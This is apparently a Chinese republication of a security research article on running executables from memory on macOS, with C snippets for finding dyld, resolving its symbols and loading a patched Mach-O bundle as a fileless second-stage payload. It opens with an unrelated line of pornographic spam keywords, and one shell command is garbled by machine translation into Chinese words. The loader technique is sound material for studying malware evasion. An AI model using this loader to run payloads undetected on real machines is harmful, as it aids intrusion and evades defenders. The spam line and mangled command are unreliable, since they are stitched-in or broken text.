偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

在macOS內存中運行可執(zhí)行文件

安全 網站安全
雖然Windows是最常見的目標,但是對于macOS(以前稱為OS X),并不缺乏新興的技術。在這篇文章中,我將討論一些在macOS(直到Sierra)上執(zhí)行多級攻擊載荷的技術。

作為一名安全研究員,我一直在研究惡意軟件攻擊設備時使用到的新興技術。雖然Windows是最常見的目標,但是對于macOS(以前稱為OS X),并不缺乏新興的技術。在這篇文章中,我將討論一些在macOS(直到Sierra)上執(zhí)行多級攻擊載荷的技術。

用于執(zhí)行多級攻擊載荷的常見技術是擁有一個可以從內存中載入可執(zhí)行文件而不是從計算硬盤上載入的初始攻擊載荷,它可以降低被檢測的風險。一般來說,當嘗試從macOS的內存中加載代碼時,第一步是找到動態(tài)加載器dyld,以便于加載第二級攻擊載荷。一旦你在內存中找到dyld,你可以解析它的Mach-O頭來定位函數NSCreateObjectFileImageFromMemory(創(chuàng)建一個NSObjectFileImage)和NSLinkModule(鏈接庫到當前進程和運行構造函數)來加載可執(zhí)行文件。

深入了解dyld

你在MacOS執(zhí)行一個動態(tài)鏈接的二進制文件時,內核會做的第一件事就是從二進制Mach-O的加載命令中檢索動態(tài)加載器的位置,并加載它。因此,dyld是第一個被加載到進程的地址空間的Mach-O。內核通過二進制文件的vmaddr和ASLR slide來確定dyld的候選地址。然后內核將Mach-O的sections映射到第一個可用未分配的內存地址中,內存地址要大于或等于到候選地址。

如下所示,在Sierra之前的macOS版本中,dyld的vmaddr是0x7fff5fc00000(DYLD_BASE):

MacOS的10.10.5(Yosemite)

  1. $ otool -l /usr/lib/dyldx 
  2. /usr/lib/dyld: 
  3. Load command 0 
  4.       cmd LC_SEGMENT_64 
  5.     cmdsize 552 
  6.     segname __TEXT 
  7.       vmaddr 0x00007fff5fc00000 
  8. ... 

在內存中定位dyld是很容易的; 從DYLD_BASE開始搜索,找到的第一個Mach-O映像就是dyld。然后可以通過內存中的dyld地址減去DYLD_BASE來計算用于dyld的ASLR slide。確定ASLR slide對于解析符號很重要,因為符號表的nlist_64結構中的n_value包含需要被偏移的基地址。

在Sierra中,dyld變成了動態(tài)映射(vmaddr為0):

macOS 10.12.2 (Sierra)

  1. $ otool -l /usr/lib/dyld 
  2. /usr/lib/dyld: 
  3. Mach header 
  4. magic cputype cpusubtype caps    filetype ncmds sizeofcmds      flags 
  5.   0xfeedfacf 16777223          3  0x00           7    14       1696 0x00000085 
  6. Load command 0 
  7.     cmd LC_SEGMENT_64 
  8.   cmdsize 552 
  9.   segname __TEXT 
  10.     vmaddr 0x0000000000000000 
  11. ... 

這意味著,現在,在內存中已加載的可執(zhí)行映像相鄰處可以找到dyld,而不是DYLD_BASE中的第一個Mach-O映像。因為沒有固定的基地址,我們現在不能再輕松計算ASLR slide。幸運的是,我們不再關心這個值,因為符號表的nlist_64結構的n_value現在包含了從dyld開始的偏移; 一旦你在內存中找到dyld的地址,你可以解析它的符號。我們將在下面的解析符號部分詳細討論這一點。

dyld在內存中的位置

那么我們如何在內存中搜索dyld呢?在地址空間中搜索特定映像的正確方法是遞歸地使用vm_region。然而,通過這種方法產生的shellcode是冗長和繁瑣的。幸運的是,有一個選擇; 如果我們發(fā)現一個系統(tǒng)調用,它接受一個指針并根據地址是否被映射返回不同的返回值,我們可以使用它。chmod系統(tǒng)調用就是這樣。

如果路徑指針在進程分配的地址空間的之外,chmod返回EFAULT; 如果路徑不存在,則返回ENOENT。因此,我們可以使用以下函數來找到dyld:

  1. int find_macho(unsigned long addr, unsigned long *base) { 
  2.     *base = 0; 
  3.     while(1) { 
  4.         chmod((char *)addr, 0777); 
  5.         if(errno == 2 && /*ENOENT*/ 
  6.           ((int *)addr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) { 
  7.             *base = addr; 
  8.             return 0; 
  9.         }  
  10.         addr += 0x1000; 
  11.     }   
  12.     return 1; 

在Sierra之前的macOS版本中,可以這樣做:

  1. unsigned long dyld; 
  2. if(find_macho(DYLD_START, &dyld)) return 

在Sierra,我們必須調用find_macho兩次:一次找到已加載的二進制,一次找到dyld:

  1. unsigned long binary, dyld; 
  2. if(find_macho(EXECUTABLE_BASE_ADDR, &binary)) return 1; 
  3. if(find_macho(binary + 0x1000, &dyld)) return 1; 

解析符號

找到dyld的字符串表可以通過解析其加載命令,并使用以下代碼(基址是內存中的dyld地址)查找符號表以及內存中的linkedit和text segments 來完成:

  1. lc = (struct load_command *)(base + sizeof(struct mach_header_64)); 
  2. for(int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) { 
  3.     if(lc->cmd == 0x2/*LC_SYMTAB*/) { 
  4.         symtab = (struct symtab_command *)lc; 
  5.     } else if(lc->cmd == 0x19/*LC_SEGMENT_64*/) { 
  6.         switch(*((unsigned int *)&sc->segname[2])) { //skip __ 
  7.         case 0x4b4e494c:    //LINK 
  8.             linkedit = (struct segment_command_64 *)lc; 
  9.             break; 
  10.         case 0x54584554:    //TEXT 
  11.             text = (struct segment_command_64 *)lc; 
  12.             break;  
  13. }  
  14. }  
  15. lc = (struct load_command *)((unsigned long)lc + lc->cmdsize); 

上面的代碼略過內存中的mach_header_64結構,然后遍歷各種加載命令結構。我們保存LC_SYMTAB的地址和與__LINKEDIT和__TEXT段相關的兩個LC_SEGMENT_64命令。使用指向這些結構體的指針,我們現在可以計算內存中的字符串表的地址:

  1. unsigned long file_slide = linkedit-> vmaddr - text-> vmaddr - linkedit-> fileoff;  
  2. strtab =(char *)(base + file_slide + symtab-> stroff); 

要遍歷字符串表,我們需要遍歷符號表的nlist_64結構。每個nlist_64結構體包含一個到字符串表(n_un.n_strx)的偏移量:

  1. char * name = strtab + nl [i] .n_un.n_strx; 

并不是使用傳統(tǒng)的哈希算法來匹配字符串表中的符號名,我寫了一個幫助腳本(symbolyzer.py)生成唯一offset/ int對,通過以下方式識別:

  1. $ nm / usr / lib / dyld | cut -d“”-f3 | 排序| uniq | 蟒蛇symbolyzer.py 
  2. $ nm /usr/lib/dyld | cut -d" " -f3 | sort | uniq | python symbolyzer.py 
  3. ... 
  4. _NSCreateObjectFileImageFromFile[25] = 0x466d6f72 
  5. ... 

symbolyzer.py的代碼(https://github.com/CylanceVulnResearch/osx_runbin/blob/master/symbolyzer.py)可以在GitHub上找到這里。

正如你可以看到,NSCreateFileImageFromMemory的offset / int對是25&0x466d6f72。這意味著如果我們字符串表中的給定字符串索引為25,并且它等于0x466d6f72,則我們發(fā)現了一個匹配。在我們的匹配對中包含一個邏輯終止符NULL就可以匹配所有符號字符串。

加載可執(zhí)行文件

在MacOS的內存中加載代碼的最常見的方法就是在macOS bundle上調用NSCreateObjectFileImageFromMemory,隨后調用NSLinkModule,然后調用NSAddressOfSymbol來查找已知函數。 “The Mac Hacker's Handbook”中為NSLinkModule指出:“目前的實現僅限用于插件的Mach-O MH_BUNDLE類型。” dyld的頭文件進一步說明“NSObjectFileImage只能用于MH_BUNDLE文件”。經過快速證實,這是真的; 如果文件類型的mach_header_64結構不是MH_BUNDLE(0x8),NSCreateObjectFileImageFromMemory會失敗。幸運的是,使用以下兩行代碼可以很容易改變結構的文件類型:

  1. int type = ((int *)binbuf)[3]; 
  2. if(type != 0x8) ((int *)binbuf)[3] = 0x8; //change to mh_bundle type 

然后我們可以在Mach-O映象內解析NSLinkModule返回的NSModule對象來找到入口點; 在Sierra中,Mach-O映象從偏移0x48變?yōu)?x50。通過迭代該映像的加載命令,我們可以找到LC_MAIN命令并獲取入口點的偏移量。只需將此偏移量添加到Mach-O基址中即可得到入口點:

  1. unsigned long execute_base = *(unsigned long *)((unsigned long)nm + 0x50); 
  2. struct entry_point_command *epc;   
  3. if(find_epc(execute_base, &epc)) {  //loops over commands and finds LC_MAIN 
  4. fprintf(stderr, "Could not find entry point command.\n"); 
  5. goto err; 
  6. int(*main)(intchar**, char**, char**) = (int(*)(intchar**, char**, char**))(execute_base+ epc->entryoff); 
  7. char *argv[]={"test"NULL}; 
  8. int argc = 1; 
  9. char *env[] = {NULL};   
  10. char *apple[] = {NULL}; 
  11. return main(argc, argv, env, apple); 

這篇文章的所有的POC代碼(https://github.com/CylanceVulnResearch/osx_runbin)都可以在GitHub上找到。

1. http://phrack.org/issues/64/11.html

2. http://www.blackhat.com/presentations/bh-dc-09/Iozzo/BlackHat-DC-09-Iozzo-let-your-mach0-fly-whitepaper.pdf

3. https://lowlevelbits.org/parsing-mach-o-files/

4. https://www.mikeash.com/pyblog/friday-qa-2012-11-09-dyld-dynamic-linking-on-os-x.html

5. https://opensource.apple.com/source/xnu/xnu-2782.1.97/bsd/kern/kern_exec.c

6. https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man2/chmod.2.html

7. https://www.amazon.com/Mac-Hackers-Handbook-Charlie-Miller/dp/0470395362

8. https://opensource.apple.com/source/cctools/cctools-384.1/man/NSModule.3.auto.html

責任編輯:武曉燕 來源: blog.cylance.com
相關推薦

2015-02-02 11:03:12

2021-01-06 05:29:57

虛擬內存文件

2010-02-22 18:04:27

CentOS mpla

2012-01-05 10:37:40

Java

2011-08-09 10:24:19

可執(zhí)行文件病毒病毒

2021-01-12 10:10:41

shell腳本Linux命令

2022-05-11 14:50:34

Python解包執(zhí)行文件

2021-01-08 08:06:19

腳本Shell文件

2009-06-20 09:21:37

UNIXLINUX

2024-05-06 00:00:00

Go文件瘦身代碼

2023-03-31 23:31:06

.go文本文件

2024-08-12 16:42:50

二進制工具系統(tǒng)

2023-09-04 07:14:36

2009-04-16 10:37:17

Javaexejar

2024-05-21 12:01:39

.NET 6開發(fā)

2022-05-20 08:55:02

py文件exepython

2021-01-14 22:17:09

PythonLinux工具

2023-12-18 09:21:22

開發(fā)靜態(tài)編譯Linux

2009-10-28 13:03:54

2021-07-02 05:23:10

微軟Edge瀏覽器
點贊
收藏

51CTO技術棧公眾號